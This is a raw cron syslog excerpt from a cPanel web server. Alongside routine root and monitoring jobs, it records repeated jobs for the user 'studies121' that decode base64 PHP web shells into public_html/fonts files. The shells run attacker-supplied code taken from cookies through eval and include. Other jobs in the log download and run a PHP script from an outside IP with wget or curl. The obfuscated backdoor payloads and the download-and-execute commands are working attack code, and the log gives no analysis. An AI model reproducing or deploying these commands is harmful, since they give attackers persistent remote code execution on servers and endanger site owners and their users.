Sep 12 22:50:01 ip-184-168-122-23 CROND[5586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:50:01 ip-184-168-122-23 CROND[5587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:50:01 ip-184-168-122-23 CROND[5582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:51:01 ip-184-168-122-23 CROND[5706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:51:01 ip-184-168-122-23 CROND[5708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:51:01 ip-184-168-122-23 CROND[5707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:51:01 ip-184-168-122-23 CROND[5710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:52:01 ip-184-168-122-23 CROND[5886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:52:01 ip-184-168-122-23 CROND[5887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:52:01 ip-184-168-122-23 CROND[5890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:52:01 ip-184-168-122-23 CROND[5891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:52:01 ip-184-168-122-23 CROND[5892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:53:01 ip-184-168-122-23 CROND[5978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:53:01 ip-184-168-122-23 CROND[5980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:53:01 ip-184-168-122-23 CROND[5981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:53:01 ip-184-168-122-23 CROND[5982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:54:01 ip-184-168-122-23 CROND[6064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:54:01 ip-184-168-122-23 CROND[6065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:54:01 ip-184-168-122-23 CROND[6067]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:54:01 ip-184-168-122-23 CROND[6068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:54:01 ip-184-168-122-23 CROND[6069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:55:01 ip-184-168-122-23 CROND[6172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:55:01 ip-184-168-122-23 CROND[6175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:55:01 ip-184-168-122-23 CROND[6177]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:55:01 ip-184-168-122-23 CROND[6178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:55:01 ip-184-168-122-23 CROND[6174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:55:01 ip-184-168-122-23 CROND[6176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:56:01 ip-184-168-122-23 CROND[6267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:56:01 ip-184-168-122-23 CROND[6268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:56:01 ip-184-168-122-23 CROND[6271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:56:01 ip-184-168-122-23 CROND[6272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:56:01 ip-184-168-122-23 CROND[6273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:57:01 ip-184-168-122-23 CROND[6446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:57:01 ip-184-168-122-23 CROND[6448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:57:01 ip-184-168-122-23 CROND[6449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:57:01 ip-184-168-122-23 CROND[6447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:58:01 ip-184-168-122-23 CROND[6526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:58:01 ip-184-168-122-23 CROND[6528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:58:01 ip-184-168-122-23 CROND[6530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:58:01 ip-184-168-122-23 CROND[6529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:58:01 ip-184-168-122-23 CROND[6531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:59:01 ip-184-168-122-23 CROND[6622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:59:01 ip-184-168-122-23 CROND[6625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:59:01 ip-184-168-122-23 CROND[6623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:59:01 ip-184-168-122-23 CROND[6624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:00:01 ip-184-168-122-23 CROND[6712]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:00:01 ip-184-168-122-23 CROND[6716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:00:01 ip-184-168-122-23 CROND[6715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:00:01 ip-184-168-122-23 CROND[6717]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:00:01 ip-184-168-122-23 CROND[6718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:00:01 ip-184-168-122-23 CROND[6726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:00:01 ip-184-168-122-23 CROND[6725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:00:01 ip-184-168-122-23 CROND[6723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:01:01 ip-184-168-122-23 CROND[6827]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 23:01:01 ip-184-168-122-23 CROND[6828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6827]: starting 0anacron
Sep 12 23:01:01 ip-184-168-122-23 CROND[6833]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 23:01:01 ip-184-168-122-23 CROND[6839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:01:01 ip-184-168-122-23 CROND[6836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:01:01 ip-184-168-122-23 CROND[6840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6848]: finished 0anacron
Sep 12 23:02:01 ip-184-168-122-23 CROND[6946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:02:01 ip-184-168-122-23 CROND[6947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:02:01 ip-184-168-122-23 CROND[6949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
